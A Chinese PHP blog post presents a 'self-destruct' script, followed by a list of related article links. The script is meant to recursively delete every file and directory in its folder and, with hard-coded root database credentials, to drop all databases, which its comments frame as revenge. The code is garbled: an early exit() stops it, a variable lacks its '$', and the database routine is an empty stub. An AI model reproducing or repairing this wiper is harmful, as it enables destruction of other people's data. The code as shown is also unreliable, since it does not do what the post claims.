PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
IIS环境下快速安装、配置和调试PHP5.2.0
Dec 17 PHP
用phpmyadmin更改mysql5.0登录密码
Mar 25 PHP
PHP ajax 分页类代码
Nov 13 PHP
php 获取远程网页内容的函数
Sep 08 PHP
php下封装较好的数字分页方法
Nov 23 PHP
php检测图片木马多进制编程实践
Apr 11 PHP
destoon二次开发模板及调用语法汇总
Jun 21 PHP
thinkphp常见路径用法分析
Dec 02 PHP
Yii框架获取当前controlle和action对应id的方法
Dec 03 PHP
PHP会话处理的10个函数
Aug 11 PHP
PHP数据库连接mysql与mysqli对比分析
Jan 04 PHP
thinkPHP3.2.2框架行为扩展及demo示例
Jun 19 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
利用php绘制饼状图的实现代码
2013/06/07 PHP
PHP中4个加速、缓存扩展的区别和选用建议
2014/03/12 PHP
ThinkPHP实现非标准名称数据表快速创建模型的方法
2014/11/29 PHP
php实现通过stomp协议连接ActiveMQ操作示例
2020/02/23 PHP
网页javascript精华代码集
2007/01/24 Javascript
Java 正则表达式学习总结和一些小例子
2012/09/13 Javascript
用显卡加速,轻松把笔记本打造成取暖器的办法!
2013/04/17 Javascript
基于SVG的web页面图形绘制API介绍及编程演示
2013/06/28 Javascript
9行javascript代码获取QQ群成员具体实现
2013/10/16 Javascript
javascript验证身份证完全方法具体实现
2013/11/18 Javascript
js输入框邮箱自动提示功能代码实现
2013/12/10 Javascript
Jquery中offset()和position()的区别分析
2015/02/05 Javascript
使用Jquery实现每日签到功能
2015/04/03 Javascript
Angular2 PrimeNG分页模块学习
2017/01/14 Javascript
js插件实现图片滑动验证码
2020/09/29 Javascript
Vue computed 计算属性代码实例
2020/04/22 Javascript
javaScript实现一个队列的方法
2020/07/14 Javascript
微信小程序input抖动问题的修复方法
2021/03/03 Javascript
详解PyTorch手写数字识别(MNIST数据集)
2019/08/16 Python
Python使用Pandas库常见操作详解
2020/01/16 Python
Python的Django框架实现数据库查询(不返回QuerySet的方法)
2020/05/19 Python
python 如何实现遗传算法
2020/09/22 Python
详解Selenium-webdriver绕开反爬虫机制的4种方法
2020/10/28 Python
python实现无边框进度条的实例代码
2020/12/30 Python
深入解读CSS3中transform变换模型的渲染
2016/05/27 HTML / CSS
CheapTickets香港机票预订网站:CheapTickets.hk
2019/06/26 全球购物
Ashford台湾:以折扣价提供奢华的男女用表款
2019/12/04 全球购物
集体婚礼证婚词
2014/01/13 职场文书
市场营销管理制度
2014/01/29 职场文书
村创先争优活动总结
2014/08/28 职场文书
大二学生自我检讨书
2014/10/23 职场文书
五星级酒店前台接待岗位职责
2015/04/02 职场文书
2015年学校党建工作总结
2015/05/19 职场文书
天那边观后感
2015/06/09 职场文书
python的变量和简单数字类型详解
2021/09/15 Python
豆瓣2021评分最高动画剧集-豆瓣评分最高的动画剧集2021
2022/03/18 日漫